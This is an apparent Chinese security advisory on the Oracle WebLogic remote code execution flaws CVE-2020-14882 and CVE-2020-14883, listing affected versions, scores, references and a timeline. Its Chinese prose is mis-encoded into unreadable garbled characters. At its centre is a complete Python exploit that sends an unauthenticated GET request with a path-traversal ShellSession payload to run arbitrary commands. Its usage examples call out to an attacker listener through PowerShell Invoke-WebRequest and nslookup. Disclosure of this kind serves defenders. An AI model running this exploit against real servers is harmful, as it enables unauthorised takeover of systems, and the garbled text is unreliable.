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CNVD ID | CVE-2020-14882 | ʱ ¼ä | 2020-10-30 |
Àà ÐÍ | RCE | µÈ ¼¶ | ¸ßΣ |
Ô¶³ÌʹÓà | ÊÇ | Ó°Ïì¹æÄ£ |
WebLogic ServerÊÇÃÀ¹úOracle¹«Ë¾µÄÖ÷Òª²úÆ·Ö®Ò»£¬£¬£¬ÆäÖ÷ÒªÓÃÓÚ¿ª·¢¡¢¼¯³É¡¢°²ÅźÍÖÎÀí´óÐÍÂþÑÜʽWebÓ¦Óá¢ÍøÂçÓ¦ÓúÍÊý¾Ý¿âÓ¦Ó㬣¬£¬ÊÇÉÌÒµÊг¡ÉÏÖ÷ÒªµÄJava(J2EE)Ó¦ÓÃЧÀÍÆ÷Èí¼þÖ®Ò»¡£¡£¡£¡£¡£¡£
0x01 Îó²îÏêÇé
2020Äê10ÔÂ28ÈÕ£¬£¬£¬OracleÐû²¼µÄ10ÔÂÇå¾²¸üÐÂÖеÄOracle WebLogic Server Ô¶³Ì´úÂëÖ´ÐÐÎó²î£¨CVE-2020-14882£©POC±»¹ûÕæ£¬£¬£¬Ô¶³Ì¹¥»÷Õß¿ÉÒÔͨ¹ý·¢ËͶñÒâµÄHTTP GET ÇëÇ󡣡£¡£¡£¡£¡£ÀÖ³ÉʹÓôËÎó²îµÄ¹¥»÷Õß¿ÉÔÚδ¾Éí·ÝÑéÖ¤µÄÇéÐÎÏ¿ØÖÆ WebLogic Server Console £¬£¬£¬²¢Ö´ÐÐí§Òâ´úÂë¡£¡£¡£¡£¡£¡£
2020Äê10ÔÂ29ÈÕ, OracleÐû²¼µÄÎó²î²¹¶¡CVE-2020-14882±£´æ¿ÉÈÆ¹ýµÄ0dayÎó²î¡£¡£¡£¡£¡£¡£¼´ÔÚWeblogic²¹¶¡¸üÐÂÍê³Éºó£¬£¬£¬¹¥»÷ÕßÈÔ¿ÉÈÆ¹ýWebLogicºǫ́µÇ¼µÈÏÞÖÆ£¬£¬£¬²¢¿ØÖÆWeblogicЧÀÍÆ÷¡£¡£¡£¡£¡£¡£Ôì³ÉµÄΣº¦ºÍΣº¦¼«´ó¡£¡£¡£¡£¡£¡£Îó²îÏêÇéÈçÏ£º
Îó²î±àºÅ | ²úÆ· | ×é¼þ | ÆÀ·Ö | Ó°Ïì¹æÄ£ |
CVE-2020-14882 | Oracle WebLogic Server | Console | 9.8 | 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 |
CVE-2020-14883 | Oracle WebLogic Server | Console | 7.2 | 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 |
Ïà¹ØEXPÈçÏ£º
#!/usr/bin/python3
# Exploit Title: Oracle WebLogic Server 10.3.6.0.0 / 12.1.3.0.0 / 12.2.1.3.0 / 12.2.1.4.0 / 14.1.1.0.0 - Unauthenticated RCE via GET request
# Exploit Author: Nguyen Jang
# CVE: CVE-2020-14882
# Vendor Homepage: https://www.oracle.com/middleware/technologies/weblogic.html
# Software Link: https://www.oracle.com/technetwork/middleware/downloads/index.html
# More Info: https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf
import requests
import sys
from urllib3.exceptions import InsecureRequestWarning
if len(sys.argv) != 3:
print("[+] WebLogic Unauthenticated RCE via GET request")
print("[+] Usage : python3 exploit.py http(s)://target:7001 command")
print("[+] Example1 : python3 exploit.py http(s)://target:7001 \"nslookup your_Domain\"")
print("[+] Example2 : python3 exploit.py http(s)://target:7001 \"powershell.exe -c Invoke-WebRequest -Uri http://your_listener\"")
exit()
target = sys.argv[1]
command = sys.argv[2]
request = requests.session()
headers = {'Content-type': 'application/x-www-form-urlencoded; charset=utf-8'}
print("[+] Sending GET Request ....")
GET_Request = request.get(target + "/console/images/%252E%252E%252Fconsole.portal?_nfpb=false&_pageLable=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"java.lang.Runtime.getRuntime().exec('" + command + "');\");", verify=False, headers=headers)
print("[+] Done !!")
0x02 ´¦Öóͷ£½¨Òé
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0x03 ²Î¿¼Á´½Ó
https://www.oracle.com/security-alerts/cpuoct2020.html
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14882
https://packetstormsecurity.com/files/159769/Oracle-WebLogic-Server-Remote-Code-Execution.html
0x04 ʱ¼äÏß
2020-10-20 OracleÐû²¼Ç徲ͨ¸æ
2020-10-21 VSRCÐû²¼Ê®Ô²¹¶¡¸üÐÂÇ徲ͨ¸æ
2020-10-28 Îó²îPOC±»¹ûÕæ
2020-10-29 Îó²î²¹¶¡±»Ì»Â¶±£´æÈƹý0day
2020-10-30 VSRCÐû²¼Ç徲ͨ¸æ
0x05 ¸½Â¼
CVSSÆÀ·Ö±ê×¼¹ÙÍø£ºhttp://www.first.org/cvss/